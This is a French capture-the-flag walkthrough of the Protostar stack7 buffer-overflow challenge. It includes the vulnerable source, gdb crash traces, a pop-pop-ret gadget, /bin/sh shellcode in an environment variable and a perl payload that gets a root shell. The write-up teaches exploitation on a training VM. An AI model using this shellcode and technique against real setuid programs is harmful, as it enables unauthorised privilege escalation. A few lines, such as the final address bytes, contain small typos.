Protostar – Stack7

Bonjour , aujourd’hui nous allons réaliser le challenge stack7 de la VM protostar.

https://exploit-exercises.com/protostar/stack7/

Pour reusir ce challenge, comme les autres , il faut acceder à un shell en exploitant un binaire .

Nous avons le code source de ce binaire :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
 char buffer[64];
 unsigned int ret;

 printf("input path please: "); fflush(stdout);

 gets(buffer);

 ret = __builtin_return_address(0);

 if((ret & 0xb0000000) == 0xb0000000) {
  printf("bzzzt (%p)\n", ret);
  _exit(1);
 }

 printf("got path %s\n", buffer);
 return strdup(buffer);
}

int main(int argc, char **argv)
{
 getpath();

}
stack 7

La fonction getPath est vulnérable car elle utilise gets , qui ne fait pas de vérification sur la taille de la chaine entrée et peut donc mener à un buffer overflow

Essayons d’écraser la valeur de retour dans EIP:

root@protostar:/opt/protostar/bin# gdb -q ./stack7 
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) run <<< $( perl -e 'print "A"x100' )
Starting program: /opt/protostar/bin/stack7 <<< $( perl -e 'print "A"x100' )
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

La valeur de retour est bien écrasée par nos A ( 0x41 en hexadecimal ) , utilisons un pattern pour trouver  combien d’octets sont nécessaires pour écraser EIP:

(gdb) run
Starting program: /opt/protostar/bin/stack7 
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()

neolex@archlinux$ BofPattern.py 0x37634136
80

Il faut donc 80 octets pour écraser EIP.

Maintenant nous devons trouver une façon de sauter sur notre shellcode et trouver ou le placer.

On ne peut pas écrire directement l’adresse du buffer dans EIP car le programme verifie que l’adresse n’est pas supérieur à 0xb0000000 .

Essayons de trouver des instructions utiles à l’exploitation du buffer overflow dans le binaire à l’aide de msfelfscan , un outil faisait partie de metasploit, que nous allons utiliser pour trouver un pop pop ret

neolex@archlinux> stack7$msfelfscan -p ./stack7 
[./stack7]
0x08048492 pop ebx; pop ebp; ret
0x080485c7 pop edi; pop ebp; ret
0x080485f7 pop ebx; pop ebp; ret
récupration d'un pop pop ret

Nous allons placer notre pop pop ret à l’adresse qui écrase EIP , les deux pop font enlever 2 fois 4 octets de la pile et le ret lancera ce qu’il y a à l’adresse après ces 8 caractères ,

Notre payload aura donc la forme :

[ AAAAAA..(80 A)..,adresse d'un pop pop ret,BBBB,CCCC,Adresse shellcode]

Placons notre shellcode dans une variable d’environnement :

user@protostar:/opt/protostar/bin# export SHELLCODE=perl -e 'print 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66
\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
\x89\xe1\x99\xb0\x0b\xcd\x80"'
shellcode dans $SHELLCODE

Maintenant nous allons utiliser le programme getEnv.c suivant pour trouver l’adresse de notre shellcode :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        if(argc<3){
                printf("usage: %s [Variable] [programme]\n",argv[0]);
                return 0;
        }

        char *ptr = getenv(argv[1]);
        if (ptr != NULL)
        {
                printf ("%s is located at %p\n", argv[1], ptr + (strlen(argv[0]) - strlen(argv[2]))*2);
                return 0;
        }else{
                printf("No environment variable name %s\n",argv[1]);
                return -1;
        }
}

Maintenant utilisons notre programme pour trouver l’adresse de notre shellcode :

user@protostar:/opt/protostar/bin$ /home/user/getEnv SHELLCODE ./stack7
SHELLCODE will be at 0xbffff993
récuperation adresse de la variable SHELLCODE

Testons le buffer overflow , encore une fois les adresses sont écrite en little-endian :

user@protostar:/opt/protostar/bin$ perl -e 'print "A"x80 . 
"\x92\x84\x04\x08" . "C"x8 . "\x93\xf9\xff\xbff"' > /tmp/file

user@protostar:/opt/protostar/bin$ ./stack7 < /tmp/file 
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��CCCCCCCC����f
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

 

Notre shellcode est bien exécuté nous avons accès à un shell , challenge réussi !

 

Merci de votre lecture,

Bonne journée !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.